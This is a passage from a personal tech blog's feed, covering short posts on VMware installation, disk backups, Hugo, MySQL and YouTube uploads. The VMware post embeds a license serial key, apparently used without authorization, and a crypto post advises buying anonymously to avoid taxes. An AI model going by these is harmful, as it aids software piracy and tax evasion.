</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>password <span style="color:#f92672">=</span> <span style="color:#e6db74">"myawesomepass"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>database <span style="color:#f92672">=</span> <span style="color:#e6db74">"db1"</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> conn <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_init</span>(NULL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* Connect to database */</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">mysql_real_connect</span>(conn, server,
</span></span><span style="display:flex;"><span> user, password, database, <span style="color:#ae81ff">0</span>, NULL, <span style="color:#ae81ff">0</span>)) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#a6e22e">mysql_error</span>(conn));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* send SQL query */</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">mysql_query</span>(conn, <span style="color:#e6db74">"SELECT * FROM wp_users WHERE id = 1"</span>)) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#a6e22e">mysql_error</span>(conn));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> res <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_use_result</span>(conn);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* output fields 1 and 2 of each row */</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ((row <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_fetch_row</span>(res)) <span style="color:#f92672">!=</span> NULL)
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, row[<span style="color:#ae81ff">1</span>], row[<span style="color:#ae81ff">2</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* Release memory used to store results and close connection */</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">mysql_free_result</span>(res);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">mysql_close</span>(conn);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
N8N ssl
https://imlauera.github.io/post/n8n_ssl/
Mon, 30 Sep 2024 17:20:15 -0300
https://imlauera.github.io/post/n8n_ssl/
<p><a href="https://www.youtube.com/watch?v=DOcnlOjhb70">https://www.youtube.com/watch?v=DOcnlOjhb70</a></p>
<p><a href="https://www.youtube.com/watch?v=gE4O2c1H8Vw">https://www.youtube.com/watch?v=gE4O2c1H8Vw</a></p>
<p><a href="https://www.youtube.com/watch?v=wMaaoJ9Oj8M">https://www.youtube.com/watch?v=wMaaoJ9Oj8M</a></p>
<p><a href="https://www.youtube.com/watch?v=f1rmdk9VJjY">https://www.youtube.com/watch?v=f1rmdk9VJjY</a></p>
<p><a href="https://www.youtube.com/watch?v=Z6scWSQyyKI">https://www.youtube.com/watch?v=Z6scWSQyyKI</a></p>
<p>Playlist: <a href="https://youtube.com/playlist?list=PLDYUG5PASucljLmFQc6xYt2T1buPM9-O9">https://youtube.com/playlist?list=PLDYUG5PASucljLmFQc6xYt2T1buPM9-O9</a></p>
<p><a href="https://www.youtube.com/watch?v=Iv7DZdn8phg">https://www.youtube.com/watch?v=Iv7DZdn8phg</a></p>
-
Crear un canal de IRC en el 2024 XD
https://imlauera.github.io/post/create_irc_channel/
Mon, 30 Sep 2024 04:04:56 -0300
https://imlauera.github.io/post/create_irc_channel/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/join <span style="color:#75715e">#somechannel</span>
</span></span><span style="display:flex;"><span>/cs register <span style="color:#75715e">#mychannel <password></span>
</span></span><span style="display:flex;"><span>/topic music channel
</span></span><span style="display:flex;"><span>/invite user <span style="color:#75715e">#mychannel</span>
</span></span><span style="display:flex;"><span>/mode <span style="color:#75715e">#mychannel +s</span>
</span></span></code></pre></div>
-
Apache: Server configuration
https://imlauera.github.io/server_configuration/
Mon, 30 Sep 2024 01:33:48 -0300
https://imlauera.github.io/server_configuration/
<p>Apache server stops suddenly, my all sites are down now.</p>
<p>PHP projects are not going live because of some composer version issue .
PHP & MySQL Configuration.
Node js shows java limit error
you need check all configurations for all STACKS (java,node,php,mongo,python etc)
Complete optimisation depending on server resources.</p>
<p>VPS Ubuntu 22.4. (Cpanel)</p>
<hr>
<p>El servidor Apache se detiene repentinamente y todos mis sitios están inactivos.</p>
<p>Los proyectos PHP no se ponen en marcha debido a algún problema con la versión del compositor.
Configuración de PHP y MySQL.
El nodo JS muestra un error de límite de Java
necesita verificar todas las configuraciones para todas las PILAS (java,nodo,php,mongo,python, etc.)
Optimización completa en función de los recursos del servidor.</p>
-
Install vmware
https://imlauera.github.io/post/install_vmware/
Sun, 29 Sep 2024 13:20:26 -0300
https://imlauera.github.io/post/install_vmware/
<p>So on Debian you need to install build-essentials and linux headers.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chmod +x VMware-Workstation-Full-17.0.0-20800274.x86_64.bundle
</span></span><span style="display:flex;"><span>sudo ./VMware-Workstation-Full-17.0.0-20800274.x86_64.bundle
</span></span><span style="display:flex;"><span>sudo apt install -y build-essential linux-headers-<span style="color:#66d9ef">$(</span>uname -r<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>vmware
</span></span></code></pre></div><p>Works on Debian 6.1.0-25-amd64</p>
<p>These are the steps on Ubuntu</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chmod +x VMware-Workstation-Full-17.0.0-20800274.x86_64.bundle
</span></span><span style="display:flex;"><span>sudo ./VMware-Workstation-Full-17.0.0-20800274.x86_64.bundle
</span></span><span style="display:flex;"><span>wget https://github.com/mkubecek/vmware-host-modules/archive/workstation-17.5.0.tar.gz
</span></span><span style="display:flex;"><span>tar -xzf workstation-17.5.0.tar.gz
</span></span><span style="display:flex;"><span>cd vmware-host-modules-workstation-17.5.0/
</span></span><span style="display:flex;"><span>tar -cf vmmon.tar vmmon-only/
</span></span><span style="display:flex;"><span>tar -cf vmnet.tar vmnet-only/
</span></span><span style="display:flex;"><span>sudo cp -v vmmon.tar vmnet.tar /usr/lib/vmware/modules/source/
</span></span><span style="display:flex;"><span>sudo vmware-modconfig --console --install-all
</span></span><span style="display:flex;"><span>sudo /usr/lib/vmware/bin/vmware-vmx-debug --new-sn ZZ352-2UZDQ-48EUZ-9WW7Z-WCKYD
</span></span><span style="display:flex;"><span>vmware
</span></span></code></pre></div><h2 id="on-kali">On kali</h2>
<p>As you can see, VMware installations can vary significantly depending on the distribution you are using. I recently installed VMware on Kali Linux, which is a rolling release distribution, and had to manually modify the source code to build the vmware-host-modules.</p>
-
Los bancos que venden cryptomonedas son una estafa
https://imlauera.github.io/post/comprar_bitcoin_anonimamente/
Sat, 28 Sep 2024 19:34:37 -0300
https://imlauera.github.io/post/comprar_bitcoin_anonimamente/
<p>Es decir tenés que asegurarte que:</p>
<ol>
<li>El estado no tiene que saber que esa plata es tuya, si comprás a través de bancos online como binance, binance te pide datos personales para darselos al estado y cobrarte impuestos.</li>
<li>Comprar en bancos está mal porque el banco tiene el poder de retener tu plata y el bitcoin se creó con el objetivo de destruir eso.</li>
<li>La forma más anónima de comprar es comprarle a una persona usando efectivo o podés usar una tarjeta de débito/crédito pero es menos anónimo porque el banco puede ver que mandaste tanta plata a una cuenta bancaria.</li>
</ol>
<p>Hay formas de comprar cryptomonedas a través de redes p2p, no necesitás dar tu DNI ni una foto de tu cara, cualquier página que te pida esos datos, lo está haciendo para cobrarte impuestos.</p>
-
Agregar paginación a un template en HUGO
https://imlauera.github.io/post/agregar_paginacion/
Sat, 28 Sep 2024 08:20:44 -0300
https://imlauera.github.io/post/agregar_paginacion/
<p>En <code>layouts/_default/list.html</code> de esto:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>{{ partial "posts.html" .Pages }}
</span></span></code></pre></div><p>Lo <strong>cambié</strong> a esto:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>{{ partial "posts.html" . }}
</span></span></code></pre></div><p>En <code>layouts/index.html</code> de esto:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>{{ partial "posts.html" (where site.RegularPages "Type" "in" site.Params.mainSections) }}
</span></span></code></pre></div><p>Lo cambié a:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>{{ partial "posts.html" . }}
</span></span></code></pre></div><p>Y en <code>layouts/_default/posts.html</code> de esto:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"posts"</span>>
</span></span><span style="display:flex;"><span> {{ range . }}
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"post"</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">div</span>><<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"{{.Permalink }}"</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"title is-size-5"</span>>{{ .Title }}</<span style="color:#f92672">a</span>></<span style="color:#f92672">div</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"subtitle is-6"</span>>{{ .Date.Format "January 02, 2006" }}</<span style="color:#f92672">div</span>>
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">div</span>>
</span></span><span style="display:flex;"><span> {{ end }}
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
</span></span></code></pre></div><p>lo cambié así</p>
-
Devops
https://imlauera.github.io/post/devops/
Sat, 28 Sep 2024 07:29:06 -0300
https://imlauera.github.io/post/devops/
<p>Hi i need someone who can make sure my code is scalable and it can handle alot of load i asked chat gpt what i can do to make it scalable and it said this</p>
<ol>
<li>
<p>Migrate Media Storage to S3:
Why it’s critical: Offloading media files to an object storage service like S3 prevents your server from being bogged down by large file uploads and downloads. This step alone will drastically reduce server load and allow your app to handle a larger number of users.
Scalability Benefit: S3 automatically scales, ensuring you can store as many files as needed without server capacity issues.</p>
-
Server setup (Ubuntu/Windows) Graphics Interface super simple setup
https://imlauera.github.io/post/server_setup_ubuntu_windows_graphics_interface_super_simple_setup/
Sat, 28 Sep 2024 06:05:50 -0300
https://imlauera.github.io/post/server_setup_ubuntu_windows_graphics_interface_super_simple_setup/
<p>We’re seeking a skilled freelancer to assist with setting up a server running either Ubuntu or Windows, incorporating a graphics interface.</p>
<p>super simple setup , it should just run browser software at all times, and I need to be able to easily connect via RDP \ AnyDesk \ anything else</p>
-
Agregar pppoe uso de trafico a sistema de facturacion mikrotik
https://imlauera.github.io/post/agregar_pppoe_uso_de_trafico_a_sistema_de_facturacion_mikrotik/
Fri, 27 Sep 2024 23:18:26 -0300
https://imlauera.github.io/post/agregar_pppoe_uso_de_trafico_a_sistema_de_facturacion_mikrotik/
<p><img src="https://imlauera.github.io/img/mikrotik.jpg" alt="Mikrotik"></p>
<p><a href="https://www.youtube.com/watch?v=rwjtRLQjMjA">https://www.youtube.com/watch?v=rwjtRLQjMjA</a></p>
<p>We are looking for an experienced developer to integrate PPPoE (Point-to-Point Protocol over Ethernet) functionality into our existing billing system. The goal is to automate the disconnection process for clients using MikroTik routers based on their billing status.</p>
<p>PPoE Configuration: Implement and configure PPPoE on our billing system to facilitate automated disconnection for clients.
MikroTik Integration: Work with MikroTik’s API or other methods to ensure seamless communication between our billing system and MikroTik routers.
Automated Disconnection: Develop a reliable mechanism to disconnect clients from the network when their billing status changes (e.g., overdue payments).
Testing and Troubleshooting: Conduct thorough testing to ensure functionality works as expected and resolve any issues that arise during the implementation.
Documentation: Provide clear documentation of the implementation process and any configurations made for future reference.</p>
-
Migrate local virtual machine to ec2
https://imlauera.github.io/post/migrate_local_virtual_machine_to_ec2/
Fri, 27 Sep 2024 22:55:43 -0300
https://imlauera.github.io/post/migrate_local_virtual_machine_to_ec2/
<p><a href="https://www.youtube.com/watch?v=NQkyzJGzIaA">https://www.youtube.com/watch?v=NQkyzJGzIaA</a></p>
<p>Descargá e instalá AWS CLI<br>
Exportá tu máquina virtual local como un archivo VMDK y subilo a un bucket de S3.<br>
Importá tu VM usando comandos<br>
Monitoreá tu tarea de importación hasta que veas una AMI<br>
Ejecutá máquinas virtuales con AMI.</p>
-
AWS S3 Migration
https://imlauera.github.io/post/aws_s3_migration/
Fri, 27 Sep 2024 21:29:34 -0300
https://imlauera.github.io/post/aws_s3_migration/
<p>Tenemos 100 TB de datos almacenados en Backblaze B2, que es un almacenamiento de objetos compatible con S3. Queremos transferir esto a Amazon S3 Glacier Deep Archive. Necesito ayuda para migrar estos datos directamente desde Backblaze a Glacier.</p>
<p>Hice los mismos cálculos hace un tiempo, comparando el glaciar profundo S3 con el wasabi. Y encontró resultados similares: el glaciar puede ser más barato, especialmente si solo se usa en un desastre y cuanto más tiempo pase entre desastres, más “barato” se vuelve. Pongo más barato entre comillas porque todavía no es barato pero relativamente el S3 es más barato.</p>
-
Linux expert xfs filesystem
https://imlauera.github.io/post/linux_expert_xfs_filesystem/
Fri, 27 Sep 2024 15:31:32 -0300
https://imlauera.github.io/post/linux_expert_xfs_filesystem/
<p>Corrupción detectada. desmontar y ejecutar xfs_repair No se pudieron recuperar los intentos Entrar en modo de emergencia. Salga del shell para continuar Encuentre el archivo adjunto para obtener más detalles.</p>
<p><img src="https://imlauera.github.io/files/xfs/1.png" alt="xfs">
<img src="https://imlauera.github.io/files/xfs/2.png" alt="xfs"></p>
-
Crear backup Windows10
https://imlauera.github.io/post/crear_backup_windows10/
Fri, 27 Sep 2024 14:24:36 -0300
https://imlauera.github.io/post/crear_backup_windows10/
<p>Universal backup: <a href="https://www.youtube.com/watch?v=tXGVzMUsuE4">https://www.youtube.com/watch?v=tXGVzMUsuE4</a></p>
<p><a href="https://www.youtube.com/watch?v=dwMr3ODbFIQ">https://www.youtube.com/watch?v=dwMr3ODbFIQ</a></p>
<p><a href="https://rescuezilla.com/">https://rescuezilla.com/</a></p>
<h4 id="como-crear-backup-de-windows-desde-linux">Como crear backup de Windows desde Linux.</h4>
<p><a href="https://unix.stackexchange.com/questions/444019/how-can-i-clone-backup-restore-windows-10-from-linux">https://unix.stackexchange.com/questions/444019/how-can-i-clone-backup-restore-windows-10-from-linux</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo sh -c <span style="color:#e6db74">'pv < /dev/sda > /destination'</span>
</span></span><span style="display:flex;"><span>sudo -i
</span></span><span style="display:flex;"><span>pv < /dev/sda > /BackupDestination
</span></span><span style="display:flex;"><span>pv < /BackupDestination > /dev/sda
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sdelete -z c:
</span></span><span style="display:flex;"><span>Desde un USB live con linux:
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>/dev/sda of<span style="color:#f92672">=</span>/somewhere/file.mbr bs<span style="color:#f92672">=</span><span style="color:#ae81ff">512</span> count<span style="color:#f92672">=</span><span style="color:#ae81ff">63</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>/dev/sda1 bs<span style="color:#f92672">=</span>1M status<span style="color:#f92672">=</span>progress | lz4 > /somewhere/sda1.lz4
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>/dev/sda2 bs<span style="color:#f92672">=</span>1M status<span style="color:#f92672">=</span>progress | lz4 > /somewhere/sda2.lz4
</span></span><span style="display:flex;"><span>dd of<span style="color:#f92672">=</span>/dev/sda <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>/somewhere/file.mbr
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Ahora restaure las dos particiones de Windows.
</span></span><span style="display:flex;"><span>dd of<span style="color:#f92672">=</span>/dev/sda1 bs<span style="color:#f92672">=</span>1M status<span style="color:#f92672">=</span>progress < lz4cat /somewhere/sda1.lz4
</span></span><span style="display:flex;"><span>dd of<span style="color:#f92672">=</span>/dev/sda2 bs<span style="color:#f92672">=</span>1M status<span style="color:#f92672">=</span>progress < lz4cat /somewhere/sda2.lz4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bootrec /fixmbr
</span></span></code></pre></div><p>La solución más fácil es: <code>dd if=/dev/sda of="/media/usb/$(date).img"</code> pero es muy lento.</p>
-
Restaurar la base de datos MySQL desde archivos .myd .myi .sdi
https://imlauera.github.io/post/como_convertir_archivos_myd_myi_sdi/
Fri, 27 Sep 2024 14:15:01 -0300
https://imlauera.github.io/post/como_convertir_archivos_myd_myi_sdi/
<p><a href="https://stackoverflow.com/questions/879176/how-to-recover-mysql-database-from-myd-myi-frm-files">https://stackoverflow.com/questions/879176/how-to-recover-mysql-database-from-myd-myi-frm-files</a></p>
<p>¡Simple! Cree una base de datos ficticia (digamos abc)</p>
<p>Copie todos estos archivos .myd, .myi, .frm a var mysql\data\abc donde mysql\data\ es el lugar donde se almacenan .myd, .myi, .frm para todas las bases de datos.</p>
<hr>
<p>I found a solution for converting the files to a .sql file (you can then import the .sql file to a server and recover the database), without needing to access the /var directory, therefore you do not need to be a server admin to do this either.</p>
-
Truenas nfs
https://imlauera.github.io/post/truenas_nfs/
Fri, 27 Sep 2024 05:04:34 -0300
https://imlauera.github.io/post/truenas_nfs/
<p><a href="https://www.youtube.com/watch?v=mdHmcwWTNWA">https://www.youtube.com/watch?v=mdHmcwWTNWA</a></p>
<p><a href="https://www.youtube.com/watch?v=KsYiAtQ5w98">https://www.youtube.com/watch?v=KsYiAtQ5w98</a></p>
<p><a href="https://www.youtube.com/watch?v=SkKysLSrg3w">https://www.youtube.com/watch?v=SkKysLSrg3w</a></p>
<p><a href="https://www.youtube.com/watch?v=-qm-m4q8hIU">https://www.youtube.com/watch?v=-qm-m4q8hIU</a></p>
<p><a href="https://www.youtube.com/watch?v=NEhUuviuOW8">https://www.youtube.com/watch?v=NEhUuviuOW8</a></p>
<p><a href="https://www.youtube.com/watch?v=59NGNZ0kO04">https://www.youtube.com/watch?v=59NGNZ0kO04</a></p>
-
Subí videos a YouTube desde la consola
https://imlauera.github.io/post/upload_videos_from_terminal/
Fri, 27 Sep 2024 04:30:50 -0300
https://imlauera.github.io/post/upload_videos_from_terminal/
<p><a href="https://github.com/tokland/youtube-upload">https://github.com/tokland/youtube-upload</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$HOME/youtube-upload/youtube-upload/bin/youtube-upload --title<span style="color:#f92672">=</span><span style="color:#e6db74">"Trafo Sí o Trafo No? Para tableros de bombas"</span> --recording-date<span style="color:#f92672">=</span><span style="color:#e6db74">"2011-03-10T15:32:17.0Z"</span> --default-language<span style="color:#f92672">=</span><span style="color:#e6db74">"es"</span> --default-audio-language<span style="color:#f92672">=</span><span style="color:#e6db74">"es"</span> --privacy<span style="color:#f92672">=</span><span style="color:#e6db74">"unlisted"</span> --embeddable<span style="color:#f92672">=</span>True trafo.mp4
</span></span></code></pre></div><p>Hay también otra alternativa pero no hablaremos de esa en este tutorial: <strong>Otra Alternativa: <a href="https://github.com/porjo/youtubeuploader">https://github.com/porjo/youtubeuploader</a></strong></p>
<p>Desde el readme.md: <code>sudo pip install --upgrade google-api-python-client oauth2client progressbar2</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget https://github.com/tokland/youtube-upload/archive/master.zip
</span></span><span style="display:flex;"><span>unzip master.zip
</span></span><span style="display:flex;"><span>cd youtube-upload-master
</span></span><span style="display:flex;"><span>sudo python setup.py install
</span></span><span style="display:flex;"><span>cd youtube-upload-master
</span></span><span style="display:flex;"><span>PYTHONPATH<span style="color:#f92672">=</span>. python bin/youtube-upload ...
</span></span></code></pre></div><p>O en arch: <code>yay -S youtube-upload</code></p>
<hr>
<h3 id="ahora-tenés-que-crear-una-aplicación-de-tipo-desktop-no-funciona-más-crearla-como-web-application-y-no-hace-falta-agregar-authorized-redirect-uri-solo-necesitás-client_secretstxt-no-el-archivo-de-credentials">Ahora tenés que crear una aplicación de tipo Desktop, no funciona más crearla como Web Application y no hace falta agregar authorized redirect URI. Solo necesitás <code>client_secrets.txt</code> no el archivo de credentials.</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Create an account on the Google Developers Console
</span></span><span style="display:flex;"><span>Create a new project <span style="color:#66d9ef">for</span> this app
</span></span><span style="display:flex;"><span>Enable the Youtube API <span style="color:#f92672">(</span>APIs & Services -> Enable APIs and Services -> Click <span style="color:#e6db74">'ENABLE APIS AND SERVICES'</span> top right<span style="color:#f92672">)</span>. Select <span style="color:#e6db74">'YouTube Data API v3'</span>
</span></span><span style="display:flex;"><span>Create OAuth consent screen <span style="color:#f92672">(</span>APIs & Services -> OAuth Consent Screen<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Add a test user. This can be any Google User account but it should correspond with the Youtube account where videos will be uploaded.
</span></span><span style="display:flex;"><span>NOOOOOOOOO <span style="color:#f92672">(</span>No tenés que crear una aplicación web sino un Desktop app<span style="color:#f92672">)</span>: Create Credentials <span style="color:#f92672">(</span>APIs & Services -> Credentials -> click <span style="color:#e6db74">'CREATE CREDENTIALS'</span><span style="color:#f92672">)</span>, <span style="color:#66d9ef">select</span> <span style="color:#e6db74">'OAuth client ID'</span>, <span style="color:#66d9ef">select</span> <span style="color:#e6db74">'Web application'</span>
</span></span><span style="display:flex;"><span>No hace falta agregar URI de callback en un Desktop App: Add an <span style="color:#e6db74">'Authorized redirect URI'</span> of <span style="color:#e6db74">'http://localhost:8080/oauth2callback'</span>
</span></span><span style="display:flex;"><span>Download the client secrets JSON file <span style="color:#f92672">(</span>click download icon next to newly created client ID<span style="color:#f92672">)</span> and save it as file client_secrets.json in the same directory as the utility e.g.
</span></span></code></pre></div><h3 id="está-bien-la-parte-de-agregar-test-users-pero-no-existe-más-oauth-20----other--tenés-que-agregar-un-oauth-client-pero-de-aplicación-de-escritorio-desktop-app">Está bien la parte de agregar test users pero no existe más OAuth 2.0 -> Other tenés que agregar un OAuth client pero de aplicación de escritorio (Desktop App)</h3>
<ul>
<li>Abrí la <a href="https://console.cloud.google.com/apis/dashboard">consola</a> de Google.</li>
<li>Creá un proyecto.</li>
<li>Ingresá a APIs & auth -> APIs</li>
<li>En menú de arriba: Activá (Enabled) API(s): Enable all Youtube APIs.</li>
<li>APIs & auth -> Credentials.</li>
<li>Configurá OAuth consent screen</li>
<li>Creá un Client ID: Agregá credentials -> OAuth 2.0 Client ID -> Other -> Name: youtube-upload -> Crear -> OK</li>
<li>Andá a OAuth consent screen (o en Publico si estas en español abajo agrega tu cuenta como test user) y debajo de <strong>Test users</strong> dale a <strong>agregar usuarios</strong>.</li>
<li>Descargá el JSON desde “OAuth 2.0 client IDs”. Guardá el archivo.</li>
<li>Usá ese JSON como tu archivo de credenciales:</li>
</ul>
<h3 id="ojo-si-ya-tenias-una-cuenta-antes-y-queres-cambiarla-tenes-que-borrar-youtube-upload-credentialsjson">Ojo: si ya tenias una cuenta antes y queres cambiarla tenes que borrar <code>.youtube-upload-credentials.json</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ youtube-upload <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --title<span style="color:#f92672">=</span><span style="color:#e6db74">"A.S. Mutter"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --description<span style="color:#f92672">=</span><span style="color:#e6db74">"A.S. Mutter plays Beethoven"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --category<span style="color:#f92672">=</span><span style="color:#e6db74">"Music"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --tags<span style="color:#f92672">=</span><span style="color:#e6db74">"mutter, beethoven"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --recording-date<span style="color:#f92672">=</span><span style="color:#e6db74">"2011-03-10T15:32:17.0Z"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --default-language<span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --default-audio-language<span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --client-secrets<span style="color:#f92672">=</span><span style="color:#e6db74">"my_client_secrets.json"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --playlist<span style="color:#f92672">=</span><span style="color:#e6db74">"My favorite music"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --embeddable<span style="color:#f92672">=</span>True|False <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> anne_sophie_mutter.flv
</span></span><span style="display:flex;"><span>tx2Zb-145Yz
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>--privacy <span style="color:#f92672">(</span>public | unlisted | private<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>--publish-at <span style="color:#f92672">(</span>YYYY-MM-DDThh:mm:ss.sZ<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>--location <span style="color:#f92672">(</span>latitude<span style="color:#f92672">=</span>VAL,longitude<span style="color:#f92672">=</span>VAL<span style="color:#f92672">[</span>,altitude<span style="color:#f92672">=</span>VAL<span style="color:#f92672">])</span>
</span></span><span style="display:flex;"><span>--thumbnail <span style="color:#f92672">(</span>string<span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="subir-video-pasale-titulo-descripcion-y-path-del-video-por-defecto-puse-oculto">Subir video pasale titulo descripcion y path del video (por defecto puse oculto).</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Descargá los subtitulos para pasarlos a chatgpt.</span>
